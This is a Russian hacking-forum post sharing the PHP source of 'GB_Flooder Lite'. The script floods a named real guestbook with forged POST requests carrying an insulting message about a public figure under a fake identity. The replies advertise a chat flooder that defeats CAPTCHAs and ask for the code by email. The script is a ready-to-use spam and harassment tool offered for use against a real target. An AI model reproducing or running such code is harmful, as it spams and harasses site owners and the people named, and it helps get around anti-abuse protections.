</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<?php
# GB_Flooder Lite
# Version 0.2 Public
# Author: KAdot &nbsp;< KAdot@ngs.ru >
#
# Конфиг для гостевой баскова :)


$tar_url = "http://www.baskov.ru/gb/index.xp";
$host = "www.baskov.ru";
$port = 80;
$n = 10;

$nick = "Любитель рока";
$city = "посёлок Малые Ебеньки";
$msg = "басков - позор Росии, таким не место на нашей Родине";


for ($i = 1; $i <= $n; $i++) {
$q="action=".urlencode("write")."&amp;section=".ur lencode("post")."&amp;page=".urlencode("0")."&amp; name=".urlencode($nick)."&amp;sex=".urlencode("М� �жской")."&amp;city=".urlencode($city)."&amp; country=".urlencode("Россия")."&amp;comment= ".urlencode($msg);

$query &nbsp;= "POST ".$tar_url." HTTP/1.1\r\n";
$query .= "Host: ".$host."\r\n";
$query .= "Referer: ".$tar_url."\r\n";
$query .= "User-Agent: Mozilla/4.0 (compatible; GB_Flooder Lite; Windows NT 5.1)\r\n";
$query .= "Content-Type: application/x-www-form-urlencoded\r\n";
$query .= "X-Flooder: &nbsp;GB_Flooder Lite &nbsp; Public Version 0.2 &nbsp; &nbsp;Author: KAdot <KAdot@ngs.ru>\r\n";
$query .= "Content-Length: ".strlen($q)."\r\n";
$query .= "\r\n".$q;


$fp = fsockopen($host, 80);

if (!$fp) {echo "Не могу открыть сокет"; exit;} else {
fputs($fp, $query);
fclose($fp);
sleep(1);
}
}

echo "
<h2>
GB_Flooder LIte
</h2><br>
Public Version 0.2
<br>
Author: <a href='mailto:KAdot@ngs.ru'>KAdot</a>
<br><br><br><br>
Цель: <b>$tar_url</b><br>
Отправлено сообщений: <b>$n</b>";
?>
[/QUOTE]<span id='postcolor'>

Ловите, мля.

а ещё

Я не понял зачем вам флудер на PHP и Perl если для каждого случая надо писать флудер отдельно?

Я уже писал в другом разделе, ну и здесь напишу, флудер чатов xakep, xyligan, gameland, распознающий картинки сам. Описание читайте в разделе &quot;Объявления&quot;.

KAdot если не трудно, скинь на мыло (vva51@yandex.ru).
Плиииззззз!